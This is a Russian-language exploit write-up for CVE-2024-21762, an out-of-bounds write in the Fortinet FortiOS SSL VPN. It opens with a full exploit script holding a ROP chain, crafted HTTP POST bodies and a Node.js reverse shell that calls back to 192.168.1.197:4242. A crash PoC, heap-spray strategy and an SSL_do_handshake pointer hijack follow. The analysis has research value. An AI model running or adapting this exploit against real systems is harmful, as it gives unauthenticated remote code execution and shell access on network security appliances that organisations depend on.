
внеграничная запись в Fortinet FortiOS — уязвимость CVE-2024-21762
Выход за границы записи в Fortinet FortiOS. Уязвимость CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
Компания FortiGate выпустила обновление версии в феврале, исправляющее несколько уязвимостей среднего и высокого уровня риска. Одна из критических уязвимостей — это неавторизованная уязвимость выхода за границы записи в SSL VPN. В предупреждении об уязвимости указано, что эта уязвимость может эксплуатироваться в реальных атаках. В этой статье будет представлен анализ автора по процессу эксплуатации этой уязвимости для достижения удаленного выполнения кода.

Среда, используемая для анализа уязвимости в этой статье — FGT_VM64-v7.4.2.F-build2571
Сравнивая бинарные файлы исправленных версий (7.4.2 и 7.4.3), анализ показал, что исправляющий код находится в функции sub_18F4980(7.4.2).

Анализируя эту функцию, нетрудно заметить, что ее логика заключается в чтении тела запроса HTTP POST. При этом в зависимости от заголовка Transfer-Encoding определяется, читать ли данные в чанковом формате или на основе Content-Length. Согласно результатам сравнения графов потока управления, есть две модификации кода:
При парсинге чанкового формата вызывается ap_getline для чтения длины чанка и проверяется, не превышает ли возвращаемое значение ap_getline 16. Если больше 16, длина чанка считается недопустимой.

При чтении трейлера чанка источником записи \r\n является присвоение line_off. До исправления значение line_off бралось из *(_QWORD *)(a1 + 744), после исправления — из возвращаемого значения ap_getline.
Продолжая трассировку, можно обнаружить, что значение *(_QWORD *)(a1 + 744) — это длина поля длины чанка при первой проверке.

Продолжая трассировку, можно обнаружить, что значение *(_QWORD *)(a1 + 744) — это длина поля длины чанка при первой проверке.

В то же время, читая код, можно сказать, что когда значение поля длины чанка после hex-декодирования равно 0, выполнение переходит к логике чтения трейлера чанка.
После анализа исправления можно сделать следующие выводы:
ap_getline для чтения трейлера чанка в буфер будет записано \r\n в соответствии с длиной поля длины чанка.Следовательно, если в поле длины чанка передано много нулей, и длина нулей превышает 1/2 оставшейся длины буфера, будет спровоцирована запись \r\n за границы. Через отладку можно узнать, что целевой буфер находится на стеке (функция sub_1A111E0), и адрес возврата хранится по смещению 0x2028. Если по смещению 0x202e записано \r\n, то при возврате функция попытается выполнить инструкцию восстановления rip и произойдет сбой из-за недопустимого адреса.
Crash PoC:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
Сценарий сбоя:

Анализируя причину уязвимости, видно, что она позволяет записать два байта \r\n за границы на стеке, и диапазон выхода близок к 0x2000. Поскольку записываемое содержимое очень ограничено, RCE не может быть достигнуто прямым перехватом rip. Поэтому необходимо сосредоточиться на указателях памяти, сохраненных в стеке.
Что приходит в голову, так это перехватить rbp и перезаписать младший байт rbp так, чтобы rbp указывал на управляемую область памяти. Когда родительская функция вернется к выполнению инструкции, rip можно будет полностью захватить. Однако при проверке было обнаружено, что даже если rbp в стеке перезаписан, rsp и rip не могут быть захвачены, и программа даже не вылетает. Продолжая трассировку вверх, находим родительскую функцию sub_1A111E0. Эта функция при возврате не вызывает leave ret для восстановления rsp, а напрямую add rsp, 0x18, поэтому ожидаемого эффекта достичь не удается.

Как показано в предыдущем разделе, функция sub_1A26040 сохраняет значения пяти регистров rbx и r12-r15 в стеке и восстанавливает их при возврате. Продолжая обратную трассировку, находим родительскую функцию sub_1A27650. Видно, что в r13 сохраняется именно параметр a1.
a1 — это указатель на структуру. Через отладку также видно, что в стеке r13 сохраняется адрес кучи.

Если память в красной области на рисунке будет перезаписана записью за границы, то при восстановлении регистра r13 при возврате функции значение указателя может быть подделано. Если можно организовать кучу так, чтобы a1 указывал на заранее подготовленную область памяти, то вся структура a1 может быть захвачена. В то же время, анализируя код логики sub_1A27650 и sub_1A26040, можно обнаружить большое количество динамических вызовов членов многоуровневых структур a1, поэтому появится больше возможностей для захвата a1.
В соответствии с предположением, после перезаписи младшего байта указателя a1 \r\n, он может указывать на предварительно организованную память. Как показано на рисунке:

Для достижения этого эффекта необходимо выполнить следующие условия:
a1 выше, чем адрес области heap spray, и разрыв между ними очень мал.0x7fxxxxxxx0a0d должна указывать на поддельную структуру.Отладка показывает, что размер структуры a1 равен 0x730. Согласно правилам выравнивания jemalloc, будет выделен блок кучи размером 0x800. Блоки кучи размером 0x800 не часто используются при обработке запросов, поэтому легко исчерпать блоки 0x800 в tcache и одновременно запросить больше новых блоков 0x800, так что после освобождения они попадут в tcache. Heap spray также выбирает блоки кучи нестандартного размера, чтобы новые запрошенные блоки были непрерывными и близкими к новым блокам 0x800; heap spray использует большие блоки кучи, чтобы гарантировать, что их адреса выровнены по 0x800, что позволяет легко гарантировать, что младшие 12 бит каждого поддельного адреса структуры равны 0xa0d; диапазон heap spray не меньше 0x10000, чтобы гарантировать, что адрес попадает в область heap spray. Эффект после захвата выглядит следующим образом: 0x7fxxxxxxx0a0d

С помощью вышеуказанных операций можно захватить структуру a1. Анализируя код функций sub_1A27650 и sub_1A26040, можно обнаружить множество динамических вызовов указателей второго и третьего уровней членов структуры a1, например:

Когда выполняется условие (0<N<5), будет динамически вызываться *(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1). Таким образом, член a1 + 0x298 необходимо подделать в многоуровневый указатель, который в конечном итоге будет указывать на нужную нам функцию. Поскольку целевой бинарный файл не включает защиту PIE, можно найти подходящие многоуровневые указатели в целевом бинарном файле. Анализ бинарного файла показывает, что первый уровень указывает на адрес GOT-таблицы соответствующей функции. *(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0


Таким образом, на примере функций можно найти подходящие многоуровневые указатели. system

Во время heap spray, изменив значение по смещению 0x298 структуры на 0x4368d0, можно использовать функцию system. Эффект выглядит следующим образом:

Как показано на рисунке, параметром динамического вызова является a1, а память, на которую он указывает, управляема. На этом этапе можно использовать функцию system для выполнения любой команды. Однако в FortiGate файл /bin/sh не имеет возможности выполнять команды, поэтому использование функции system для выполнения команд не увенчается успехом.
Поскольку функция system не может выполнять команды, нужно найти другой способ для завершения RCE. Существующее условие: можно вызвать любую функцию из GOT-таблицы, и память, на которую указывает первый параметр функции, управляема. Таким образом, если в GOT-таблице есть функция, которая будет вызывать обратный вызов какого-либо члена параметра, есть шанс захватить RIP. Легко вспомнить функции, которые часто использовались в предыдущих эксплойтах для FortiGate. SSL_do_handshake

Нужно только сконструировать структуру SSL так, чтобы условия были выполнены, и финальный вызов s->handshake_func(s) привел к захвату rip. Перехватить rip на 0xdeadbeef, как показано на рисунке:

Главная программа FortiGate представляет собой бинарный файл All-in-One размером более 70 МБ. В нем содержится большое количество гаджетов, которые можно использовать. Реализовать RCE с помощью ROP несложно, поэтому не будем вдаваться в подробности.
Хотя веб-режим отключен по умолчанию в SSL VPN версии 7.4.2 и браузерный доступ возвращает 403, эта уязвимость все еще может быть использована в конфигурации по умолчанию.

Эта уязвимость похожа на уязвимость переполнения кучи, вызванную XOR, в прошлом году (CVE-2023-27997). Обе они представляют собой, казалось бы, бесполезные уязвимости переполнения. Процесс эксплуатации более хитрый и больше похож на задачу CTF. Однако по сравнению с традиционными CTF-задачами, атакующими менеджеры кучи, реальные уязвимости требуют больше контекстных структур и кодовой логики для эксплуатации. Уровень автора ограничен. Если есть ошибки, пожалуйста, поправьте меня.